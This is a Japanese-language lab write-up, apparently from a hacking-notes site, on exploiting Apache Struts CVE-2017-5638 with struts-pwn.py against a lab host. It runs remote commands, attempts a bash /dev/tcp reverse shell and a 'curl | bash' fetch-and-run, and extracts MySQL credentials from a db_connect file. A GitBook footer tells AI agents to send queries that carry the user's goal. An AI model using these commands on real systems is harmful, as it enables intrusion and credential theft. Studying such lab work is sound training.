> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/apache-struts-exploitation-.action.md).

# Apache Struts

Apache Struts CVE-2017-5638 RCEの攻略、コマンド実行、リバースシェル試行、認証情報抽出のノート。

## Apache Struts の悪用（CVE-2017-5638）

#### **ディレクトリ列挙の監視**

登録中に、アプリケーションはエラーを返します。 `.action` この拡張子はApache Strutsアプリケーションを示唆します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

使用する `struts-pwn.py` リモートコマンド実行をテストするために:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

コマンドは動作し、脆弱性が確認されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **リバースシェル**

1. Netcatのリスナーを起動します:

```bash
nc -nvlp 443
```

2. 以下を作成: `index.html` リバースシェルを含むファイル:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. PythonのWebサーバーでそのファイルをホストします:

```
python3 -m http.server 8080
```

4. エクスプロイト経由でリバースシェルを実行します:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

残念ながら、この方法は失敗する。

### **機密情報の抽出**

サーバー上のファイルを一覧表示します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

その `db_connect` ファイルには認証情報が含まれています:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

取得したMySQLの認証情報:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 情報抽出 - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
